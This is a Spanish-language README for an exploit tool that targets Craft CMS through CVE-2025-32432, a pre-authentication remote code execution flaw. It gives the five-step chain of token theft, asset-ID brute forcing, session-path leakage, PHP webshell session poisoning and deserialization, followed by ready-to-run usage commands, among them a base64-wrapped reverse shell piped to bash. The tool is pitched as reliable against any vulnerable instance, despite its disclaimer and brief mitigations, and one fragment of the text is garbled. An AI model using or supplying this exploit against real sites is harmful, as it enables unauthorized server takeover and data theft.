Exploit fiable de RCE pre-auth CVE-2025-32432 para Craft CMS 3.x/4.x/5.x, funciona donde otros PoC públicos fallan
Autor: P34NUT2
Vulnerabilidad: Ejecución Remota de Código (Pre-Autenticada) en Craft CMS
CVE: CVE-2025-32432
Objetivo: Cualquier instancia vulnerable de Craft CMS (3.x / 4.x / 5.x) — probado en Hack The Box: Orion
Esta herramienta se proporciona estrictamente con fines educativos y para pruebas de penetración autorizadas dentro de entornos controlados como Hack The Box, TryHackMe o configuraciones de laboratorio privadas que usted posea o para las que tenga permiso escrito explícito para probar.
El uso no autorizado de esta herramienta contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal según la Ley de Fraude y Abuso Informático (CFAA), la Directiva de la UE sobre ataques contra sistemas de información y leyes equivalentes en la mayoría de las jurisdicciones del mundo.
El autor no asume ninguna responsabilidad ni obligación legal por cualquier uso indebido, daño o consecuencia legal derivada del uso de este software. Úselo de manera responsable y ética.
La mayoría de los PoC públicos para CVE-2025-32432 fallan contra objetivos del mundo real como HTB: Orion debido a:
&, , )><Este exploit fue construido desde cero para resolver esos problemas de fiabilidad. Maneja correctamente la codificación URL, automatiza la extracción dinámica de tokens y utiliza pipelines de envoltura Base64 para lograr una ejecución fiable contra cualquier instancia vulnerable de Craft CMS — validado contra despliegues reales y probado en HTB Orion.
| Paso | Acción | Descripción |
|---|---|---|
| 1 | Adquisición de sesión y CSRF | Extrae CraftSessionId, CRAFT_CSRF_TOKEN y el CSRF_TOKEN dinámico desde el endpoint de administración |
| 2 | Descubrimiento de Asset ID | Fuerza bruta de IDs de assets válidos necesarios para el payload de generación de transformaciones |
| 3 | Fuga de ruta de sesión | Inyecta un objeto Guzzle para activar phpinfo() y leer session.save_path dinámicamente |
| 4 | Envenenamiento de sesión | Inyecta un payload de webshell PHP codificado en URL dentro del archivo de sesión activo |
| 5 | Disparo de RCE | Deserializa la sesión envenenada para ejecutar comandos arbitrarios del sistema |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| Flag | Opción larga | Requerido | Descripción |
|---|---|---|---|
-u | --url | ✅ Sí | URL base del objetivo (ej. http://example.com) |
-c | --cmd | ✅ Sí | Comando a ejecutar en el objetivo remoto |
-a | --asset | ❌ No | Asset ID válido conocido (acelera la ejecución) |
-s | --scan-max | ❌ No | Rango máximo de fuerza bruta de Asset ID (Predeterminado: 300) |
1. Ejecución básica de comandos
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. Con un Asset ID conocido (más rápido)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. Payload codificado (Recomendado para caracteres especiales)
Para evitar que los caracteres especiales sean alterados por los parsers HTTP o truncados durante el manejo de la sesión, codifique su comando en Base64 antes de pasarlo:
# Paso 1 — codifique su comando localmente
echo -n "YOUR_COMMAND_HERE" | base64
# Paso 2 — pase la cadena codificada a través del script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Reverse Shell mediante envoltura Base64
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
Si usted es un administrador de sistemas o desarrollador que ejecuta Craft CMS, aplique las siguientes mitigaciones:
/actions/*) mediante reglas de firewall o middleware.Este proyecto está licenciado únicamente para uso educativo y de pruebas autorizadas. Consulte LICENSE para más detalles.